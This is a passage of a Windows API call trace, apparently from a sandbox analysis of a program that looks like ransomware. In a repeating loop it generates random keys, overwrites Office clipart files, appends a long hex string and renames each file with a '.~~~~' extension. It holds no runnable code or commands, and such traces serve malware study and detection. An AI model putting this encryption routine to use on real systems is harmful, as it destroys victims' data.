	[0089.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d9a8
	[0089.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.873] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.873] GetLastError () returned 0x0
	[0089.873] GetLastError () returned 0x0
	[0089.873] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.873] GetLastError () returned 0x0
	[0089.873] GetLastError () returned 0x0
	[0089.880] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffc90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.880] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x370, lpOverlapped=0x0) returned 1
	[0089.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.881] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.881] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.881] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.881] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.881] CloseHandle (hObject=0x118) returned 1
	[0089.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.~~~~")) returned 1
	[0089.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.882] GetLastError () returned 0x0
	[0089.882] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.883] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.883] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.884] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20987368667) returned 1
	[0089.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f5ac4b0, dwHighDateTime=0x1d60e1e)) 
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fa58
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fa58 | out: hHeap=0x300000) returned 1
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e0c8
	[0089.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.884] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.884] GetLastError () returned 0x0
	[0089.884] GetLastError () returned 0x0
	[0089.884] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.884] GetLastError () returned 0x0
	[0089.884] GetLastError () returned 0x0
	[0089.895] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffa48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.895] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5b8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x5b8, lpOverlapped=0x0) returned 1
	[0089.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.895] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.895] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.895] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.896] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.896] CloseHandle (hObject=0x118) returned 1
	[0089.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.~~~~")) returned 1
	[0089.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.896] GetLastError () returned 0x0
	[0089.897] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.898] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.898] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.898] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20988785137) returned 1
	[0089.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f5d2610, dwHighDateTime=0x1d60e1e)) 
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fac8
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fac8 | out: hHeap=0x300000) returned 1
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e1f8
	[0089.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.898] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.898] GetLastError () returned 0x0
	[0089.898] GetLastError () returned 0x0
	[0089.899] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.899] GetLastError () returned 0x0
	[0089.899] GetLastError () returned 0x0
	[0089.905] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffa14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.905] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x5ec, lpOverlapped=0x0) returned 1
	[0089.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.906] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.906] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.906] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.906] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.906] CloseHandle (hObject=0x118) returned 1
	[0089.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.906] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.~~~~")) returned 1
	[0089.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.907] GetLastError () returned 0x0
	[0089.917] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.945] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.945] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.945] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20993817495) returned 1
	[0089.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f644a30, dwHighDateTime=0x1d60e1e)) 
	[0089.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fcc0
	[0089.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fcc0 | out: hHeap=0x300000) returned 1
	[0089.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e9b0
	[0089.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.971] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.971] GetLastError () returned 0x0
	[0089.971] GetLastError () returned 0x0
	[0089.971] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.971] GetLastError () returned 0x0
	[0089.971] GetLastError () returned 0x0
	[0089.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe07a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.975] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1f86, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x1f86, lpOverlapped=0x0) returned 1
	[0089.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.975] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.975] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.975] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.975] CloseHandle (hObject=0x118) returned 1
	[0089.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.~~~~")) returned 1
	[0089.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.976] GetLastError () returned 0x0
	[0089.976] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.977] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.977] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.977] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20996756727) returned 1
	[0089.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f690cf0, dwHighDateTime=0x1d60e1e)) 
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fda0
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fda0 | out: hHeap=0x300000) returned 1
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e458
	[0089.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.978] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.978] GetLastError () returned 0x0
	[0089.978] GetLastError () returned 0x0
	[0089.978] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.978] GetLastError () returned 0x0
	[0089.978] GetLastError () returned 0x0
	[0090.044] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffeb68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.044] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x1498, lpOverlapped=0x0) returned 1
	[0090.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.044] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.044] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.044] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.044] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.044] CloseHandle (hObject=0x118) returned 1
	[0090.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.~~~~")) returned 1
	[0090.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.045] GetLastError () returned 0x0
	[0090.046] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.046] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.046] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.046] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21003659747) returned 1
	[0090.047] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f729270, dwHighDateTime=0x1d60e1e)) 
	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1fe8
